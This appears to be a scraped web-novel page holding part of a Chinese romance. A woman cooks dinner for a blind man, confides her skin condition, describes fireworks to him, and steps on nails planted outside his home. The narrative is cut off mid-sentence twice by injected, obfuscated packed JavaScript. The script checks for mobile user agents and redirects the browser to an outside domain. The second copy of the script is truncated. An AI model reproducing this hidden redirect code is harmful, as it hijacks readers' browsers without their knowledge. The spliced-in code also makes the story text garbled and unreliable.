她吃惯了自己的菜,有时候分辨不出来好坏。不知道他会怎么认为?虽然她知道碍于礼貌,无论好不好吃他肯定都会评价好吃。 于是,虞谷秋特别注意他吃进第一口的表情,可是他就连吃饭的表情都滴水不漏。 “很好吃。” 果然,他比她预想得更礼貌,还加了一个“很”字。 既然找不出漏洞,那姑且就收下这份表扬吧。 虞谷秋高兴地举起筷子,一边细致地告诉汤骏年其他菜色的方位,以汤为圆心的三点钟方向,六点钟方向……汤骏年自然察觉到她的这番话术不寻常,普遍不会这么介绍菜色的位置,只有了解过盲人如何方便感知方位才会这么说。 他想说点什么,又觉得嗓子发干,摸到一旁的杯子喝了口水。 虞谷秋一口气说完,汤骏年沉默地点点头,两个人终于全面开动。 毕业后租房子住以来,除了工作大部分时间都是自己一个人吃饭。但虞谷秋不讨厌,还挺享受一个人吃饭的时间,可以找一部自己喜欢的剧边看边吃。 如果要和别人吃饭,她会觉得今天就少看了一集,很浪费时间。更重要的是,和别人单独吃饭要时刻提着心怕冷场,如果是多人聚餐就会好一些,说话热气氛的重任通常不会落在她头上。 不过今天这顿饭,她早已做好了觉悟,势必不能冷场,脑子里也想好了一些问题可以抛给对方。 她刚要开口,汤骏年却先一步问她:“你平常吃饭会干什么?” “啊?”虞谷秋老实说,“看剧。” “你可以看剧,不用管我。” 虞谷秋戳了戳饭,猛地一鼓作气道:“可是今天我更想和你聊天。” 汤骏年夹虾仁的手一偏,夹空了。 “我不太会和人聊天。”他说。 “没关系,我也不太会。” 虞谷秋又想起探戈里遇到的那个年轻陌生人对她说的一句话,觉得此刻正好可以搬出来救场。 “菜鸟互啄,我们谁都不用怕冷场了。” 汤骏年却露出好奇的神色。 “菜鸟吗?可是我觉得你不像是不擅长和人交谈的样子。” “啊,有吗?” “你很会主动靠近别人。”他口中的这个别人自然是指他自己,“所以我以为,你应该是很外向的那类人。” “那你这是对我最大的误解了。”虞谷秋苦笑,“其实我的人生里从来没有主动靠近过谁。至于你……”她半真半假道,“如果不是因为任务,我也不会厚着脸皮的。” “是么?”他沉吟说,“那你应该很讨厌给你造成难题的我了。” “当然不会!”虞谷秋着急忙慌道,“我喜欢一个人不一定会接近他,但我讨厌一个人就绝对不会接近他。” 汤骏年露出思索的表情,似乎在想接下来的问题合不合适,虞谷秋看着他的迟疑,主动说:“怎么了吗?” “有些好奇而已。”汤骏年想了想,“可能有点冒犯,只是喜欢一个人,为什么不一定想接近对方?” 这个问题问得虞谷秋一愣。 她不知怎么回答,干脆反问他:“所以你一定会接近你喜欢的那个人吗?” “我会的。但我不会着急,得慢慢找到合适的时机。”他语气一顿,“不过现在不会了。” “……为什么?” “这个问题的答案不是显而易见的吗?” 他并不痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546462|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦地微笑起来,灰色的眼睛轻轻眨了一下。 虞谷秋握紧筷子,目光细细描摹看着对面的人。 她盯着这张脸,认真缓慢地反驳:“显而易见在哪里?我怎么看不出来。” 汤骏年借着夹菜的姿势垂下脑袋,带着几分自嘲道:“你也突然变看不见了?” 虞谷秋没有理会他的挖苦,而是认真地说:“这个说不准,谁知道呢。” 汤骏年眉头一皱:“不要这样开自己玩笑。” “……不是玩笑。” 他的表情变得不解。 “什么意思?” 虞谷秋迟疑了好一会儿,最终深吸了一口气,说:“我生下来就有色素失禁症……你可能连这个是什么都不清楚吧?” 汤骏年茫然地摇了摇头。 “这是基因突变导致的,我刚生下来一个月的时候,身上长满了像是烫伤的色素沉积。据说这个病未来还可能会影响牙齿、头发、诱发癫痫……甚至眼睛也是。虽然现在没事,但这些是谁都不好说的风险。于是我的亲生爸妈干脆就把我这个残次品过到了别人家。” 汤骏年此时已经放下了筷子,摆出严肃的脸色认真倾听着。 虞谷秋却没再看他,而是低头看向自己的身体。 “我的养父母本来想好好医治我的,他们起先有很努力地替我擦药膏,不过一年后怀了孩子后就顾不上我了。不知道是不是因为被过早放弃,身上的痕迹到现在还是非常难看。”她猛地抓起裤子,“我从来不敢穿露肤度高的漂亮衣服。所以以前做学生的时候挺好的,大家都统一穿着肥大的校服,不会有人察觉到。那个时候还有过喜欢的人……” 她终于又抬起头,视线轻轻地落在汤骏年身上。 即便他看不见,她又很快错开目光。 “可是我就像一间永远有灰尘的屋子,如果要请喜欢的人来做客,怎么舍得他来这个乱糟糟的地方。我没有办法打开门让他看见。” “这些年都是这样,我没办法和人构建亲密关系,我知道我是不正常的,不过比起真正需要帮助的人,我似乎又是正常的,那些并发症并没有找上我。你上次说我们都在不同的世界,但好像……无论哪边的世界,都没有我的位置。” 虞谷秋怕气氛太沉闷,立刻高昂着语调,玩笑说:“还好你看不见,不然我也不敢告诉你。所以你看,看不见对于某些人——至少对我而言,是一件没有负担的好事情。我相信还会有其他的人这样觉得,所以你一点没必要退缩。” 汤骏年平静地听着,他脸上的神色让虞谷秋觉得莫名熟悉,一个恍神,她想起了林淑秀。 他们的亲缘在这一点上竟莫名相通了——面对她如履薄冰却故作轻描淡写的袒露,他同样给予了令她心安的反应。 沉默片刻,他说:“你劝我不应该退缩,可关于你自己却截然相反。” 虞谷秋一时语塞。 汤骏年瞳孔的方向再度吃力地找着她的方向:“下次要再劝我的话,不如先以身作则给我看。” 虞谷秋的心在这一瞬间砰砰砰地乱跳起来。 她吞咽了一下,好像喉咙里有什么东西正在发芽。 接着,堵住喉咙的泥土扑簌簌地掉落,芽爆开了枝。她手微抖地举起筷子,夹起刚才汤骏年没夹成的虾仁,心如擂鼓地丢向他的碗中,一句话畅通无阻地脱口而出。 “……我现在正在以身作则呢。” 13.第 13 章 或许是她说的声音太低,汤骏年真的没听清,又或许是他听清了却故意装傻。总之,对于她那句有些越界的话,汤骏年给出的反应是——“你在说什么?” 虞谷秋咬了下嘴唇。 很快,她若无其事地说:“我说我给你夹了虾仁。” 汤骏年的筷子碰了碰碗中,点头道:“谢谢。” 他的吃相很斯文,虽然很缓慢,但吃得干净,若不去看他的眼睛,其实很难想象这个人原来看不见。 虞谷秋看着他很给面子地吃光了一碗饭,问他还要不要再添点时,他轻轻摇头,并坚持在离开前将碗筷洗干净。 她由着他去,趁着汤骏年在洗碗的空档时,去房间里抱出了一样东西放到阳台。 等他洗完叫她的名字时,虞谷秋却没有回应他。 取而代之的,是厨房边的阳台上传来了一声凌空的砰响。 砰砰,又是两声,似乎有什么东西在空中持续地炸开。 汤骏年还没反应过来,虞谷秋已经将人推着后背到了阳台边上。 “这是我今天给你的考题。”她仰脸望向天空,“难得今天能请到你,所以就不用手机录给你了。应该很好猜吧?” “这是……” 他并肩与她站在一起,也跟着面向夜空。 “烟花?” “会不会有些太简单了?”虞谷秋笑道,“要不然你猜猜接下来这一束是什么颜色再算你过关。” 汤骏年听后失笑:“你这样算不算欺负我看不见?” 他的玩笑令虞谷秋微怔。 刚才并没有被回应的失落转瞬被这句玩笑代替——他竟能将这一点同她玩笑。 虞谷秋于是借坡下驴道:“是啊,就是欺负你看不见!” 两个人说话间,一颗烟花落下,接下来的一束立刻就要腾空。 虞谷秋着急地晃了晃他的手臂:“快快,要来了——” “红色吗?” 金色的光芒映在汤骏年的脸上,他一脸好奇地说,是红色吗? 虞谷秋的目光早已从夜空挪到了他的侧脸,呆了一下后才记得出声回答。 “不对,猜错了。” “可惜。” “那我不欺负你,再给你一次机会。” “我说的不是这方面的可惜。”汤骏年仍仰着头,喃喃,“红色的烟花……应该很美吧。” 虞谷秋的心被这句轻微的感叹刺了一下。 她紧接着看向夜空,大脑疯狂运转,绞尽脑汁地想着该怎么形容才能让汤骏年生动地感受到这一切。 然而脑子里干巴巴的,所有的形容词都显得苍白,曾经让她引以为傲的作文本领毕竟已经是很遥远的事情了。 慌张中,她试着闭上眼睛,跟汤骏年一起只是聆听着烟花的声音,再从烟花的声音中想象着烟花的样子。 这一刻,福至心灵。 她紧闭着眼,快速地说:“与其说是美,不如说是调皮。” “调皮?” “烟花的形状很像天空拉开了一罐芒果汁的拉罐,它拉得很大力,然后砰的一响,金黄色的汽水溅满了它的黑色衣服。” 她调动了视觉以外的,他可以感受到的感官向汤骏年描述。 “是吗?” 她不确定他是不是在笑,只是觉得他这一刻的声音非常温柔,说着:“我好像真的闻到芒果汁的味道了。” 话音刚落,又一束烟花腾空了。 虞谷秋听见汤骏年接着问道:“这一次天空拉开了哪种口味的汽水?” 她闭着眼睛胡乱回答:“是蓝莓。” 红色的光芒映照在阳台两个看不见的人脸上,虽然其中一人是故意选择了不看见。 汤骏年点点头说:“原来是深蓝色吗。” 虞谷秋自信十足地嗯了一声。 此时,面前的烟花已不再重要。它是连通她和汤骏年世界的一种介质,通过他们都能听见的声音,在这个声音里,他们共同地想象着各种口味的烟花。 * 虞谷秋领着飞飞,飞飞又领着汤骏年来到他平常到达的地铁口时,这个对她来说转瞬即逝的夜晚就要结束了。 “麻烦你送到这里。” 汤骏年轻晃了下狗绳,飞飞居然抬了下前爪,那个姿势很像是“再见”。 虞谷秋又忍不住大惊小怪:“飞飞在和我拜拜吗?” “或许是。” “这也太可爱了。”她顺势说,“这样我反而不舍得和它拜拜。” “嗯?” 汤骏年此时大概还没意识到他已经上套了。 虞谷秋直直盯着他,理直气壮道:“所以我再送他一程吧?反正离你家也不远了。” “……” 又是一番来回交锋,最后虞谷秋心满意足地继续走在了最前头。 只不过二十分钟后,她就为自己的这个举动付出了代价——汤骏年家的楼层依然没有修好灯,不知道是他真的不在乎还是反映了但没人来修,于是在这片黑灯瞎火中,虞谷秋毫无防备地踩上了一根尖锐的东西。 她猛地停下脚步,痛得眼冒金星,整个人嘶声叫着蹲到地上。 “怎么了?!” 汤骏年不安的声音传来,虞谷秋第一时间大喊:“先别动!” 疼痛越来越鲜明,虞谷秋疼得站不起来,一屁股坐在地上,伸手脱掉了鞋子,同时拿出手机一照——鞋底此时竟然卡着一颗长钢钉。 刚才一脚下去,钢钉径直穿透了薄软的单鞋底,直刺进肉里,尖头上此时沁着血。 “我踩到钢钉了……怎么会有钢钉?” “钢钉?” 汤骏年脸色骤然一变,似乎意识到什么。 虞谷秋不经意地瞥了眼被手机电筒光照到的周围,后背瞬间布满鸡皮疙瘩。 不止这一根。 还有几根钢钉分散着布置在路径上,一直延伸到汤骏年家门口。 为了这些长钢钉能尖端朝上,底部还用透明胶带固定着。 “是有人特意弄的。” 虞谷秋深深地皱起眉,一半是痛的,另一半出自胆寒。 会是谁做的?她不认识这个小区的其他人,也不清楚汤骏年现在的人际,脑海里便首先浮现出之前上门劝说汤骏年搬家的女人。 如果今天不是她凑巧决定送他们回来,不是她走在最前面……那么受伤的就会是飞飞,又或者是汤骏年,那些钢钉是冲着他们来的。 那个女人用了另一种方式逼汤骏年“搬家”。 黑暗中,汤骏年蹲下身来,看不清表情,但虞谷秋能隐约感觉到他此时不太一样,周身萦绕着一股令人心惊的气息,这令她突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不对。害我的人不是你。”虞谷秋语气顿时严肃,纠正他的说法,“你根本也是受害者。” 他的眉宇轻颤了一下,用盲杖点了点地。 “无论如何,我得送你去医院,如果你不让我管,我会一直吃不好睡不好。” 虞谷秋耳朵抖了抖,怎么觉得听上去很耳熟。 这不是她想请他来吃饭时抛出的措辞吗? “……你不许学我说话。” 她嘟囔着,双手试探地攀上了汤骏年的后背。 刚刚刺伤她的黑暗此时却成了最好的保护,她不必直视自己正在发抖的双腿和双手,不必害怕被灯光照到正在发红的脸颊,很轻很轻地将脑袋靠上汤骏年的肩头。他的衣领正散发着洗衣粉的香气。 他察觉到她的颤抖,再次强调说:“你放心,我会走得很小心,我们绝不会一起滚下去的。” 她也再次低声说:“我不担心这个,我只是……” 然后就听不清了。 汤骏年短暂的疑惑间,感受到后背的人伸过来的双手,极为珍视地环抱住了他。